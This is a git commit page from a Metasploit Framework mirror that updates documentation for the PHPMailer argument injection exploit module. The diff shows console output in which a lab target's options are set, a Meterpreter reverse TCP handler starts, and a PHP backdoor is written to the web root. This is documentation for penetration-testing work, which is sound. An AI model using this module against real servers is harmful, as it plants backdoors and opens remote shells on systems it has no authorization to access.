infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update docs to reflect the final phpmailer module

bug/bundler_fix
Spencer McIntyre 2017-01-10 17:44:22 -05:00
parent 6584da718a
commit 960c1a1434
1 changed files with 13 additions and 12 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
documentation/modules/exploit/multi/http/phpmailer_arg_injection.md
View File

@ -23,20 +23,21 @@ exploitation can take a few minutes.
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
```
msf (S:0 J:0) exploit(php_mailer) > options
msf (S:0 J:0) exploit(php_mailer) > options
Module options (exploit/linux/http/php_mailer):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.90.134 yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
VERSION <=5.2.18 yes The version of PHPMailer (Accepted: <=5.2.18, 5.2.20)
VHOST no HTTP server virtual host
WEB_ROOT /www yes Path to the web root
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.90.134 yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
TRIGGERURI no Path to the uploaded payload
VHOST no HTTP server virtual host
WEB_ROOT /www yes Path to the web root
Payload options (php/meterpreter/reverse_tcp):
@ -58,7 +59,7 @@ Exploit target:
msf (S:0 J:0) exploit(php_mailer) > rexploit
[*] Reloading module...
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload